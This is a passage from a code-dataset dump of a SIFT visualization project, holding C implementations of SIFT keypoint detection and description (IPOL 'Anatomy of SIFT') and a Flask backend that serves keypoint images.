p->lambda_descr = 6;\n p->itermax = 5;\n return p;\n}\n\n\n// The number of octaves is limited by the size of the input image\nstatic int number_of_octaves(int w, int h, const struct sift_parameters* p)\n{\n // The minimal size (width or height) of images in the last octave.\n int hmin = 12;\n // The size (min of width and height) of images in the first octave.\n int h0 = MIN(w,h)/p->delta_min;\n // The number of octaves.\n int n_oct = MIN(p->n_oct, (int)(log(h0/hmin)/M_LN2) + 1);\n return n_oct;\n}\n\n\n// To make the threshold independent of the scalespace discretization along\n// scale (number of scale per octave).\nstatic float convert_threshold(const struct sift_parameters* p)\n{\n // converting the threshold to make it consistent\n float k_nspo = exp( M_LN2/( (float)(p->n_spo)));\n float k_3 = exp( M_LN2/( (float)3));\n float thresh = (k_nspo - 1) / (k_3 - 1) * p->C_DoG ;\n return thresh;\n}\n\n\n\nstruct sift_keypoints* sift_anatomy(const float* x, int w, int h, const struct sift_parameters* p,\n struct sift_scalespace* ss[4],\n struct sift_keypoints* kk[6])\n\n{\n // WARNING\n // ss[2]: pointers to two scalespace structures for lates use (The Gaussian\n // scale-space and the DoG scale-space).\n // kk[6]: pointers to six keypoint lists structure for later use.\n\n struct sift_keypoints* k = sift_malloc_keypoints();\n\n // The number of octaves.\n int n_oct = number_of_octaves(w, h, p);\n\n // adapt the threshold to the scalespace discretization\n float thresh = convert_threshold(p);\n\n /** MEMORY ALLOCATION **/\n /** scale-space structure */\n struct sift_scalespace* s = sift_malloc_scalespace_lowe(n_oct,p->n_spo,w,h,p->delta_min,p->sigma_min);\n struct sift_scalespace* d = sift_malloc_scalespace_dog_from_scalespace(s);\n struct sift_scalespace* sx = sift_malloc_scalespace_from_model(s);\n struct sift_scalespace* sy = sift_malloc_scalespace_from_model(s);\n /** list-of-keypoints (Already allocated) */\n struct sift_keypoints* kA = kk[0]; /* 3D (discrete) extrema */\n struct sift_keypoints* kB = kk[1]; /* passing the threshold on DoG */\n struct sift_keypoints* kC = kk[2]; /* interpolated 3D extrema (continuous) */\n struct sift_keypoints* kD = kk[3]; /* passing the threshold on DoG */\n struct sift_keypoints* kE = kk[4]; /* passing OnEdge filter */\n struct sift_keypoints* kF = kk[5]; /* keypoints whose distance to image borders are sufficient */\n\n /** KEYPOINT DETECTION ***************************************************/\n scalespace_compute(s, x, w, h, p->sigma_in); /* Builds Lowe's scale-space */\n scalespace_compute_dog(s,d);\n\n keypoints_find_3d_discrete_extrema(d, kA, p->n_ori, p->n_hist, p->n_bins);\n keypoints_discard_with_low_response(kA, kB, 0.8*thresh);\n keypoints_interpolate_position(d, kB, kC, p->itermax);\n keypoints_discard_with_low_response(kC, kD, thresh);\n keypoints_compute_edge_response(d,kD);\n keypoints_discard_on_edge(kD, kE, (p->C_edge+1)*(p->C_edge+1)/p->C_edge);\n keypoints_discard_near_the_border(kE, kF, w, h, 1.0);\n\n\n /** KEYPOINT DESCRIPTION *************************************************/\n scalespace_compute_gradient(s,sx,sy); /* Pre-computes gradient scale-space */\n keypoints_attribute_orientations(sx, sy, kF, k, p->n_bins,p->lambda_ori,p->t);\n keypoints_attribute_descriptors(sx, sy, k, p->n_hist,p->n_ori,p->lambda_descr);\n\n /** scalespace structures*/\n ss[0] = s;\n ss[1] = d;\n ss[2] = sx;\n ss[3] = sy;\n\n return k;\n}\n\n\n\nstruct sift_keypoints* sift_anatomy_without_description(const float* x, int w, int h,\n const struct sift_parameters* p,\n struct sift_scalespace* ss[2],\n struct sift_keypoints* kk[5])\n\n\n{\n // WARNING\n // ss[2]: pointers to two scalespace structures for lates use (The Gaussian\n // scale-space and the DoG scale-space).\n // kk[5]: pointers to five keypoint lists structure for later use.\n\n struct sift_keypoints* k = sift_malloc_keypoints();\n\n // The number of octaves.\n int n_oct = number_of_octaves(w, h, p);\n\n // Adapt the threshold to the scalespace discretization\n float thresh = convert_threshold(p);\n\n /** MEMORY ALLOCATION **/\n /** scale-space structure */\n struct sift_scalespace* s = sift_malloc_scalespace_lowe(n_oct,p->n_spo,w,h,p->delta_min,p->sigma_min);\n struct sift_scalespace* d = sift_malloc_scalespace_dog_from_scalespace(s);\n /** list-of-keypoints (Already allocated) */\n struct sift_keypoints* kA = kk[0]; /* 3D (discrete) extrema */\n struct sift_keypoints* kB = kk[1]; /* passing the threshold on DoG */\n struct sift_keypoints* kC = kk[2]; /* interpolated 3D extrema (continuous) */\n struct sift_keypoints* kD = kk[3]; /* passing the threshold on DoG */\n struct sift_keypoints* kE = kk[4]; /* passing OnEdge filter */\n\n /** KEYPOINT DETECTION ***************************************************/\n scalespace_compute(s, x, w, h, p->sigma_in); /* Builds Lowe's scale-space */\n scalespace_compute_dog(s,d);\n keypoints_find_3d_discrete_extrema(d, kA, p->n_ori, p->n_hist, p->n_bins);\n keypoints_discard_with_low_response(kA, kB, 0.8*thresh);\n keypoints_interpolate_position(d, kB, kC, p->itermax);\n keypoints_discard_with_low_response(kC, kD, thresh);\n keypoints_compute_edge_response(d,kD);\n keypoints_discard_on_edge(kD, kE, (p->C_edge+1)*(p->C_edge+1)/p->C_edge);\n keypoints_discard_near_the_border(kE, k, w, h, 1.0);\n\n /** scalespace structures*/\n ss[0] = s;\n ss[1] = d;\n\n return k;\n}\n\n\n\n\nvoid sift_anatomy_only_description(const float* x, int w, int h, const struct sift_parameters* p,\n struct sift_keypoints* k)\n{\n // The number of octaves.\n int n_oct = number_of_octaves(w, h, p);\n\n // MEMORY ALLOCATION\n struct sift_scalespace* s = sift_malloc_scalespace_lowe(n_oct,p->n_spo,w,h,p->delta_min,p->sigma_min);\n struct sift_scalespace* sx = sift_malloc_scalespace_from_model(s);\n struct sift_scalespace* sy = sift_malloc_scalespace_from_model(s);\n\n scalespace_compute(s, x, w, h, p->sigma_in); /* Builds Lowe's scale-space */\n scalespace_compute_gradient(s,sx,sy); /* Pre-computes gradient scale-space */\n keypoints_attribute_descriptors(sx, sy, k, p->n_hist,p->n_ori,p->lambda_descr);\n\n sift_free_scalespace(s);\n sift_free_scalespace(sx);\n sift_free_scalespace(sy);\n}\n\n\n\nvoid sift_anatomy_orientation_and_description(const float* x,\n int w,\n int h,\n const struct sift_parameters* p,\n struct sift_keypoints* k)\n{\n // The number of octaves.\n int n_oct = number_of_octaves(w, h, p);\n\n // MEMORY ALLOCATION\n struct sift_scalespace* s = sift_malloc_scalespace_lowe(n_oct,p->n_spo,w,h,p->delta_min,p->sigma_min);\n struct sift_scalespace* sx = sift_malloc_scalespace_from_model(s);\n struct sift_scalespace* sy = sift_malloc_scalespace_from_model(s);\n scalespace_compute(s, x, w, h, p->sigma_in); // Builds Lowe's scale-space\n scalespace_compute_gradient(s,sx,sy); // Pre-computes gradient scale-space\n\n keypoints_attribute_one_orientation(sx, sy, k, p->n_bins, p->lambda_ori);\n keypoints_attribute_descriptors(sx, sy, k, p->n_hist,p->n_ori,p->lambda_descr);\n\n sift_free_scalespace(s);\n sift_free_scalespace(sx);\n sift_free_scalespace(sy);\n}\n" }, { "alpha_fraction": 0.3660081923007965, "alphanum_fraction": 0.39433470368385315, "avg_line_length": 27.24210548400879, "blob_id": "e523fb0c7c018986b6a8f7760da2cebbf36e4dae", "content_id": "88ea1211996b5f55d9ed8ba74e75c17407075ffe", "detected_licenses": [ "BSD-2-Clause", "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2683, "license_type": "permissive", "max_line_length": 80, "num_lines": 95, "path": "/backend/demo_SIFT/src/anatomy2lowe.c", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <stdlib.h>\n\n#ifndef M_PI\n #define M_PI 3.14159265358979323846\n#endif\n\n\n// gcc -o anatomy2lowe anatomy2lowe.c -std=c99\n\n\n\n\nint main(int argc, char** argv)\n{\n if ((argc != 2)&&(argc != 5)){\n fprintf(stderr, \"usage: anatomy2lowe keypoints [nhist(4) nori(8)]\\n\");\n return EXIT_FAILURE;\n }\n // length of the feature vector\n int nhist;\n int nori;\n if ( argc == 4){\n nhist = atoi(argv[argc-2]);\n nori = atoi(argv[argc-1]);\n }\n else{\n nhist = 4;\n nori = 8;\n }\n\n // How many keypoints in the file\n char text[4096];\n FILE* f = fopen(argv[1],\"r\");\n int nkeys = 0;\n while(fgets(text, 4096, f) != NULL)\n nkeys += 1;\n fclose(f);\n\n // memory allocation\n int ndescr = nhist*nhist*nori;\n int length = 4+ndescr;\n float* l = malloc( nkeys*(length)*sizeof(*l));\n\n // read keypoints\n f = fopen(argv[1],\"r\");\n int pos, read;\n for(int n = 0; n < nkeys; n++){\n fgets(text, 4096, f);\n pos = 0; read = 0;\n sscanf(text+pos,\"%f %f %f %f %f %f %n\", &l[n*length]\n , &l[n*length+1]\n , &l[n*length+2]\n , &l[n*length+3]\n , &l[n*length+4]\n , &l[n*length+5]\n , &read);\n pos += read;\n for(int m = 0; m < ndescr; m++){\n sscanf(text+pos,\"%f %n\", &l[n*length+6+m],&read);\n pos += read;\n }\n }\n fclose(f);\n\n // write keypoints in standard output\n for(int n = 0; n < nkeys; n++){\n // conversion orientation\n float ori = l[n*length+3] - M_PI/2+2*M_PI;\n int octave = l[n*length+4];\n int scale = l[n*length+5];\n if (ori>M_PI)\n ori -= 2*M_PI;\n fprintf(stdout, \"%f %f %f %f %d %d \", l[n*length]\n , l[n*length+1]\n , l[n*length+2]\n , ori\n , octave\n , scale\n );\n float* descr = &l[n*length+6];\n for(int i = 0; i < nhist; i++){\n for(int j = 0; j < nhist; j++){\n // conversion descriptor\n int iA = j;\n int jA = nhist-1-i;\n for(int k = 0; k < nori; k++){\n fprintf(stdout, \"%i \", (int)descr[iA*nhist*nori+jA*nori+k]);\n }\n }\n }\n fprintf(stdout,\"\\n\");\n }\n\n}\n" }, { "alpha_fraction": 0.6420323252677917, "alphanum_fraction": 0.6443418264389038, "avg_line_length": 23.47058868408203, "blob_id": "b91d209b215b150bbe968f2f9e426f39dc6aed6f", "content_id": "e0f5146bd2856413411c43380bf9289f96280efc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 433, "license_type": "permissive", "max_line_length": 48, "num_lines": 17, "path": "/backend/index.py", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\r\nfrom flask import Flask\r\nfrom flask_cors import CORS\r\n\r\napp = Flask(__name__)\r\napp.config.from_object(__name__)\r\napp.config['ASSETS_FOLDER'] = 'demo_SIFT/assets'\r\napp.config['ALLOWED_EXTENSIONS'] = set(['png'])\r\n\r\n# enable CORS\r\nCORS(app, resources={r'/*': {'origins': '*'}})\r\n\r\nfrom my_blueprints.blueprints_loader import *\r\nregister_blueprints(app)\r\n\r\nif __name__ == '__main__':\r\n app.run(debug = True)\r\n" }, { "alpha_fraction": 0.5951035618782043, "alphanum_fraction": 0.600310206413269, "avg_line_length": 53.70909118652344, "blob_id": "f6eef871b46b864e00bb3d9c928fe00c02186cfe", "content_id": "a62f897a8486c248b6e6adc8b583cbca8b162d21", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9027, "license_type": "permissive", "max_line_length": 159, "num_lines": 165, "path": "/backend/my_blueprints/sift_cli/animate_keypoints.py", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "from flask import request, Blueprint, current_app as app, jsonify\nimport cv2 as cv, numpy as np, uuid, os, shutil, glob, re\nfrom ..lib_demo_sift import *\n\nanimate_keypoints = Blueprint('animate_keypoints', __name__)\n\n@animate_keypoints.route('/animate_keypoints', methods=['GET'])\ndef sift_cli_animate_keypoints():\n inputImageName = request.args.get('inputImageName')\n drawType = request.args.get('drawType')\n inputImagePath = app.config[\"ASSETS_FOLDER\"] + '/' + inputImageName\n label = \"_1\"\n inputImagePath += \".png\"\n img = cv.imread(inputImagePath)\n gray = cv.cvtColor(cv.imread(inputImagePath), cv.COLOR_BGR2GRAY)\n grayImagePath = \"static/keypoints/\" + inputImageName + \"_gray.jpg\"\n cv.imwrite(grayImagePath, gray);\n\n allKeypoints = {\n \"0\": get_keypoints(\"extra_NES\", label, inputImageName, \"step_0\", inputImagePath, grayImagePath, drawType, img, gray),\n \"1\": get_keypoints(\"extra_DoGSoftThresh\", label, inputImageName, \"step_1\", inputImagePath, grayImagePath, drawType, img, gray),\n \"2\": get_keypoints(\"extra_ExtrInterp\", label, inputImageName, \"step_2\", inputImagePath, grayImagePath, drawType, img, gray),\n \"3\": get_keypoints(\"extra_DoGThresh\", label, inputImageName, \"step_3\", inputImagePath, grayImagePath, drawType, img, gray),\n \"4\": get_keypoints(\"extra_OnEdgeResp\", label, inputImageName, \"step_4\", inputImagePath, grayImagePath, drawType, img, gray),\n \"5\": get_keypoints(\"extra_FarFromBorder\", label, inputImageName, \"step_5\", inputImagePath, grayImagePath, drawType, img, gray),\n \"randomUuid\": uuid.uuid4()\n }\n return jsonify(allKeypoints)\n\ndef get_keypoints(stepname, label, inputImageName, step, inputImagePath, grayImagePath, drawType, img, gray):\n currentDirectoryPath = \"static/keypoints/\" + step\n check_output_directory(currentDirectoryPath)\n filePath = \"static/keypoints/\" + stepname + label + \".txt\"\n if((drawType == \"false\") and (step == \"step_5\")):\n filePath = \"static/keypoints/features.txt\"\n file = open(filePath, \"r\")\n keypointsFromFile = file.read()\n keypointsFromFile = keypointsFromFile.splitlines()\n keypoints = {}\n keypoints_scaled = {}\n keypoints_cv = {}\n keypoints_cv_scaled = {}\n allKeypointsInCurrentStep = []\n for line in keypointsFromFile:\n y = line.split(' ')[0]\n x = line.split(' ')[1]\n sigma = line.split(' ')[2]\n theta = line.split(' ')[3]\n octa = line.split(' ')[4]\n sca = line.split(' ')[5]\n if(step == \"step_5\"):\n keypoint = str(float(y)) + \" \" + str(float(x)) + \" \" + str(float(sigma)) + \" \" + str(float(theta))\n keypoint_scaled = str(float(y) * 2) + \" \" + str(float(x) * 2) + \" \" + str(float(sigma) * 2) + \" \" + str(float(theta))\n else:\n keypoint = str(float(y)) + \" \" + str(float(x)) + \" \" + str(float(sigma))\n keypoint_scaled = str(float(y) * 2) + \" \" + str(float(x) * 2) + \" \" + str(float(sigma) * 2)\n theta = float(float(theta)*(360/np.pi))\n keypoint_cv = cv.KeyPoint(\n x = float(x),\n y = float(y),\n _size = float(sigma) * 2,\n _angle = theta,\n _response = 0,\n _octave = int(octa),\n _class_id = -1\n )\n keypoint_cv_scaled = cv.KeyPoint(\n x = float(x) * 2,\n y = float(y) * 2,\n _size = float(sigma) * 4,\n _angle = np.radians(theta),\n _response = 0,\n _octave = int(octa),\n _class_id = -1\n )\n\n allKeypointsInCurrentStep.append(keypoint)\n\n # Sort the keypoint after each octave and each scale\n if octa in keypoints.keys():\n if sca in keypoints[octa].keys():\n keypoints_scaled[octa][sca].append(keypoint_scaled)\n keypoints[octa][sca].append(keypoint)\n keypoints_cv_scaled[octa][sca].append(keypoint_cv_scaled)\n keypoints_cv[octa][sca].append(keypoint_cv)\n else:\n keypoints_scaled[octa].update({ sca: [keypoint_scaled] })\n keypoints[octa].update({ sca: [keypoint] })\n keypoints_cv_scaled[octa].update({ sca: [keypoint_cv_scaled] })\n keypoints_cv[octa].update({ sca: [keypoint_cv] })\n\n else:\n keypoints_scaled[octa] = { sca: [keypoint_scaled] }\n keypoints[octa] = { sca: [keypoint] }\n keypoints_cv_scaled[octa] = { sca: [keypoint_cv_scaled] }\n keypoints_cv[octa] = { sca: [keypoint_cv] }\n\n os.makedirs(currentDirectoryPath + \"/Octave_\" + octa + \"/Scalespace\")\n os.makedirs(currentDirectoryPath + \"/Octave_\" + octa + \"/DoG\")\n os.makedirs(currentDirectoryPath + \"/Octave_\" + octa + \"/Original\")\n\n\n\n if(drawType == \"true\"):\n drawKeypoints(keypoints, keypoints_scaled, currentDirectoryPath, inputImagePath, grayImagePath, step, allKeypointsInCurrentStep)\n else:\n drawKeypointsWithCv(keypoints_cv, keypoints_cv_scaled, currentDirectoryPath, inputImagePath, grayImagePath, step, img, gray, allKeypointsInCurrentStep)\n\n return keypoints\n\n# IPOL\ndef drawKeypoints(keypoints, keypoints_scaled, currentDirectoryPath, inputImagePath, grayImagePath, step, allKeypointsInCurrentStep):\n draw_keys(allKeypointsInCurrentStep, grayImagePath, currentDirectoryPath + \"/keypoints.jpg\")\n for octave_number, octave in keypoints.items():\n for scale_number, kp in octave.items():\n path_scaleImageKeypoints = currentDirectoryPath + \"/Octave_\" + octave_number + \"/Original/scale_\" + scale_number + \".jpg\"\n if(step == \"step_5\"):\n draw_keys_oriented(kp, grayImagePath, path_scaleImageKeypoints)\n else:\n draw_keys(kp, grayImagePath, path_scaleImageKeypoints)\n\n\n for octave_number, octave in keypoints_scaled.items():\n for scale_number, kp in octave.items():\n path_dogImage = glob.glob(\"static/dog/*o*\" + octave_number + \"_s*\" + scale_number + \".png\")[0]\n path_dogImageKeypoints = currentDirectoryPath + \"/Octave_\" + octave_number + \"/DoG/scale_\" + scale_number + \".jpg\"\n path_scalespaceImage = glob.glob(\"static/scalespace/*o*\" + octave_number + \"_s*\" + scale_number + \".png\")[0]\n path_scalespaceImageKeypoints = currentDirectoryPath + \"/Octave_\" + octave_number + \"/Scalespace/scale_\" + scale_number + \".jpg\"\n if(step == \"step_5\"):\n draw_keys_oriented(kp, path_dogImage, path_dogImageKeypoints)\n draw_keys_oriented(kp, path_scalespaceImage, path_scalespaceImageKeypoints)\n else:\n draw_keys(kp, path_dogImage, path_dogImageKeypoints)\n draw_keys(kp, path_scalespaceImage, path_scalespaceImageKeypoints)\n\n# OpenCV\ndef drawKeypointsWithCv(keypoints_cv, keypoints_cv_scaled, currentDirectoryPath, inputImagePath, grayImagePath, step, img, gray, allKeypointsInCurrentStep):\n for octave_number, octave in keypoints_cv.items():\n for scale_number, kp in octave.items():\n path_scaleImageKeypoints = currentDirectoryPath + \"/Octave_\" + octave_number + \"/Original/scale_\" + scale_number + \".jpg\"\n img = cv.drawKeypoints(gray, kp, img, flags=cv.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\n cv.imwrite(path_scaleImageKeypoints, img)\n\n for octave_number, octave in keypoints_cv_scaled.items():\n for scale_number, kp in octave.items():\n path_dogImage = glob.glob(\"static/dog/*o*\" + octave_number + \"_s*\" + scale_number + \".png\")[0]\n path_dogImageKeypoints = currentDirectoryPath + \"/Octave_\" + octave_number + \"/DoG/scale_\" + scale_number + \".jpg\"\n path_scalespaceImage = glob.glob(\"static/scalespace/*o*\" + octave_number + \"_s*\" + scale_number + \".png\")[0]\n path_scalespaceImageKeypoints = currentDirectoryPath + \"/Octave_\" + octave_number + \"/Scalespace/scale_\" + scale_number + \".jpg\"\n dog = cv.imread(path_dogImage)\n ss = cv.imread(path_scalespaceImage)\n # Draw keypoints on DoG image\n dog_kp = cv.drawKeypoints(dog, kp, img, flags=cv.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\n cv.imwrite(path_dogImageKeypoints, dog_kp)\n # Draw keypoints on SS image\n ss_kp = cv.drawKeypoints(ss, kp, img, flags=cv.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\n cv.imwrite(path_scalespaceImageKeypoints, ss_kp)\n\n\ndef check_output_directory(currentDirectoryPath):\n try:\n shutil.rmtree(currentDirectoryPath, ignore_errors = True, onerror = None)\n os.makedirs(currentDirectoryPath)\n except Exception as e:\n print(e)\n" }, { "alpha_fraction": 0.774319052696228, "alphanum_fraction": 0.774319052696228, "avg_line_length": 45.727272033691406, "blob_id": "deb5cd2b27b04a291d83625f3349000a11c1f510", "content_id": "b5671da3c4c69c568cb2ae3c297a57f5fe18179b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 514, "license_type": "permissive", "max_line_length": 69, "num_lines": 11, "path": "/backend/my_blueprints/blueprints_loader.py", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "from flask import Blueprint\nfrom .sift_cli.execute import execute\nfrom .sift_cli.get_filenames import get_filenames\nfrom .sift_cli.upload_image import upload_image\nfrom .sift_cli.animate_keypoints import animate_keypoints\n\ndef register_blueprints(app):\n app.register_blueprint(execute, url_prefix=\"/sift_cli\")\n app.register_blueprint(get_filenames, url_prefix=\"/sift_cli\")\n app.register_blueprint(upload_image, url_prefix=\"/sift_cli\")\n app.register_blueprint(animate_keypoints, url_prefix=\"/sift_cli\")\n" }, { "alpha_fraction": 0.5618234276771545, "alphanum_fraction": 0.5810680985450745, "avg_line_length": 31.57254981994629, "blob_id": "e98402d2420ac20ee201f08c987f7a5f239f3be7", "content_id": "3c3cf47ba41245dd9b161e9c5fcacce911e1f621", "detected_licenses": [ "BSD-2-Clause", "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 8314, "license_type": "permissive", "max_line_length": 114, "num_lines": 255, "path": "/backend/demo_SIFT/src/demo_extract_patch.c", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "/*\nIPOL SIFT\nCopyright (C) 2014, Ives Rey-Otero, CMLA ENS Cachan\n<[email protected]>\n\nVersion 20140911 (September 11th, 2014)\n\nThis C ANSI source code is related to the IPOL publication\n\n [1] \"Anatomy of the SIFT Method.\"\n I. Rey Otero and M. Delbracio\n Image Processing Online, 2013.\n http://www.ipol.im/pub/algo/rd_anatomy_sift/\n\nAn IPOL demo is available at\n http://www.ipol.im/pub/demo/rd_anatomy_sift/\n\n\n\n== Patent Warning and License =================================================\n\nThe SIFT method is patented \n\n [2] \"Method and apparatus for identifying scale invariant features\n in an image.\"\n David G. Lowe\n Patent number: 6711293\n Filing date: Mar 6, 2000\n Issue date: Mar 23, 2004\n Application number: 09/519,89\n \n These source codes are made available for the exclusive aim of serving as\n scientific tool to verify the soundness and completeness of the algorithm\n description. Compilation, execution and redistribution of this file may\n violate patents rights in certain countries. The situation being different\n for every country and changing over time, it is your responsibility to\n determine which patent rights restrictions apply to you before you compile,\n use, modify, or redistribute this file. A patent lawyer is qualified to make\n this determination. If and only if they don't conflict with any patent terms,\n you can benefit from the following license terms attached to this file.\n\n\nThis program is free software: you can use, modify and/or\nredistribute it under the terms of the simplified BSD\nLicense. You should have received a copy of this license along\nthis program. If not, see\n<http://www.opensource.org/licenses/bsd-license.html>.\n\n*/\n/**\n * @file extract_thumbnail_bis.c\n * @brief Illustration of the descriptor computation\n *\n * @li extract the patch used for reference orientation attribution\n * @li save the corresponding gradient field into an ASCII file\n *\n * @li extract the patch used for descriptor computation\n * @li save the corresponding gradient field into an ASCII file\n *\n * @author Ives Rey-Otero <[email protected]>\n */\n\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <math.h>\n#include <float.h>\n#include <assert.h>\n\n#include \"lib_discrete.h\"\n#include \"lib_util.h\"\n#include \"io_png.h\"\n\n#define MAX(i,j) ( (i)<(j) ? (j):(i) )\n#define MIN(i,j) ( (i)<(j) ? (i):(j) )\n\n#ifndef M_PI\n #define M_PI 3.14159265358979323846\n#endif\n\n#define ABS(x) ((x)<0?-(x):(x))\n\n\n\n/** @brief Image subsampling by an integer factor k\n * \n * Computes the gradient via the centered finite difference scheme\n * [-1/2,0,+1/2]\n * \n * \\param in [i,j] , (0 <= i <= h-1) (0 <= j <= w-1) . \n * \\param out [i,j]= in[k*i,k*j] , (0 <= i <= int(h/k)-1) (0 <= j <= int(w/k)-1)\n * \n */\nvoid subsample_by_intfactor(const float* in, float* out, int wi, int hi, int factor)\n{\n int wo = wi/factor;\n int ho= hi/factor;\n for(int i=0;i<ho;i++){\n int i_p=factor*i;\n for(int j=0;j<wo;j++){\n int j_p=factor*j;\n out[i*wo+j] = in[i_p*wi+j_p];\n }\n }\n}\n\n\n\nvoid printImage_LinearConversion(const float *im, int w, int h, const char *name)\n{\n float *imtmp = xmalloc(w*h*sizeof(float));\n linear_conversion(im, imtmp, w * h);\n for(int i =0; i<w*h; i++){ imtmp[i] = 255*imtmp[i]; }\n io_png_write_f32(name, imtmp, w, h, 1);\n xfree(imtmp);\n}\n\nvoid thumbnail(float x_key, float y_key, float sigma_key, float theta_key,\n const float* image, int width, int height,\n float lambda_descr,\n const char* name_out)\n{\n\n float Xi,Yj; // thumbnail coordinates.\n float x,y; // image coordinates.\n int im,jm,ip,jp; // auxiliary, for the bilinear interpolation.\n\n\n int w_thumb = (int)(2*lambda_descr*sigma_key);\n int h_thumb = w_thumb;\n float* thumb = xmalloc(w_thumb*h_thumb*sizeof(float));\n\n for(int k=0;k<w_thumb*h_thumb;k++){thumb[k]=0.0;}\n\n float ct = cos(theta_key);\n float st = sin(theta_key);\n\n for(int i=0;i<h_thumb;i++){\n for(int j=0;j<w_thumb;j++){\n\n Xi = (float)i-(float)w_thumb/2.0;\n Yj = (float)j-(float)h_thumb/2.0;\n\n x = x_key + Xi * ct - Yj * st;\n y = y_key + Xi * st + Yj * ct;\n\n /// Compute the image value according to a bilinear interpolation model.\n im=(int)x; ip=(int)x+1;\n jm=(int)y; jp=(int)y+1;\n //image extension with zeros\n if((im>=0) && (im<height) && (jm>0) && (jm<width)){\n thumb[i*w_thumb+j] = (x-im)*(y-jm)*image[ip*width+jp]\n + (x-im)*(jp-y)*image[ip*width+jm]\n + (ip-x)*(y-jm)*image[im*width+jp]\n + (ip-x)*(jp-y)*image[im*width+jm];\n }\n }\n }\n printImage_LinearConversion(thumb,w_thumb,h_thumb,name_out);\n xfree(thumb);\n}\n\n\n\n\nint main(int argc, char **argv)\n{\n\n if(argc != 14) {\n fprintf(stderr,\" Illustrates: - the reference orientation computation \\n\");\n fprintf(stderr,\" - the descriptor computation \\n\");\n fprintf(stderr,\"Usage: extract image, \\n\");\n fprintf(stderr,\" x, y, sigma, theta, \\n\");\n fprintf(stderr,\" delta_min, sigma_min, sigma_in, n_spo, \\n\");\n fprintf(stderr,\" lambda_ori, lambda_descr, nhist, Name \\n\");\n fprintf(stderr,\"\\n\");\n fprintf(stderr,\" outputs : - [Name]_thumbnail_ori_hist.png\\n\");\n fprintf(stderr,\" - [Name]_thumbnail_weighted_hists.png\\n\");\n fprintf(stderr,\"\\n\");\n fprintf(stderr,\"extract image x y sigma theta 0.5 0.8 0.5 3 1.5 6 4 Name \\n\");\n return -1;\n }\n\n char filename[FILENAME_MAX];\n\n /** Read input image */\n size_t width, height;\n float* image = io_png_read_f32_rgb(argv[1], &width, &height);\n\n /** Read parameters \n * (keypoint coordinates and method parameters */\n float x = atof(argv[2]);\n float y = atof(argv[3]);\n float sigma = atof(argv[4]);\n float theta = atof(argv[5]);\n float delta_min = atof(argv[6]);\n float sigma_min = atof(argv[7]);\n float sigma_in = atof(argv[8]);\n int nspo = atoi(argv[9]);\n float lambda_ori = atof(argv[10]);\n float lambda_descr = atof(argv[11]);\n int nhist = atoi(argv[12]);\n\n // compute octave and scale\n int oct, sca;\n int a = (int)(round( nspo * log( sigma / sigma_min) /M_LN2 ));\n oct = (a-1)/nspo;\n if (oct > -1){\n sca = (a-1)%nspo + 1;\n }\n else{\n oct = 0;\n sca = 0;\n }\n\n\n\n /** Compute the seed image of the scale-space */ // We assume here that delta_min = 2^{-iter}\n int width_seed = (int)(width/delta_min);\n int height_seed = (int)(height/delta_min);\n float* seed = xmalloc(width_seed*height_seed*sizeof(float));\n assert(delta_min<=1);\n sift_oversample_bilin(image , width, height, seed, width_seed, height_seed, delta_min);\n\n /** Compute the image (o,s) */\n float delta_o = delta_min*pow(2,oct);\n int width_o = (int)((float)width_seed/pow(2,oct));\n int height_o = (int)((float)height_seed/pow(2,oct));\n float* im_o_s = xmalloc(width_o*height_o*sizeof(float));\n float sigma_o_s = delta_o*sigma_min/delta_min*pow(2,(float)sca/(float)nspo);\n //\n float* im_temp = xmalloc(width_seed*height_seed*sizeof(float));\n /* Gaussian blur */\n float sig_blur = sqrt(sigma_o_s*sigma_o_s - sigma_in*sigma_in);\n sift_add_gaussian_blur(seed, im_temp, width_seed, height_seed, sig_blur);\n /* Sub-sampling */\n subsample_by_intfactor(im_temp, im_o_s, width_seed, height_seed, pow(2,oct));\n\n snprintf(filename, FILENAME_MAX, \"%s_thumbnail_ori_hist.png\", argv[13]);\n\n /** Thumbnail of P_ori */\n thumbnail(x/delta_o, y/delta_o, sigma/delta_o, 0.0,\n im_o_s, width_o, height_o, 3*lambda_ori,\n filename);\n\n /** Thumbnail of P_descr */\n sprintf(filename,\"%s_thumbnail_weighted_hists.png\",argv[13]);\n thumbnail(x/delta_o, y/delta_o, sigma/delta_o, theta,\n im_o_s, width_o, height_o, (nhist+1)*lambda_descr/nhist,\n filename);\n\n}\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.701298713684082, "alphanum_fraction": 0.7194805145263672, "avg_line_length": 21.647058486938477, "blob_id": "bbaa8ea415d250448e4e16f2d901b90215c37645", "content_id": "a0ed1823ce5f70a66c77b55efebbac6ef424af9c", "detected_licenses": [ "BSD-2-Clause", "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 385, "license_type": "permissive", "max_line_length": 66, "num_lines": 17, "path": "/backend/demo_SIFT/sift_lib_api.py", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\nfrom ctypes import *\nimport numpy as np\n\nlibCalc = CDLL(\"./bin/sift_lib.so\")\n\n# call C function to check connection\nlibCalc.connect()\n\nw = 512\nh = 512\nn = POINTER(c_int)\nx = np.array(w*h*sizeof(c_float))\n\nsift_compute_points = libCalc.sift_compute_points\nsift_compute_points.argtypes = [POINTER(c_float), c_int, c_int, n]\nsift_compute_points.restype = Structure\n" }, { "alpha_fraction": 0.5161400437355042, "alphanum_fraction": 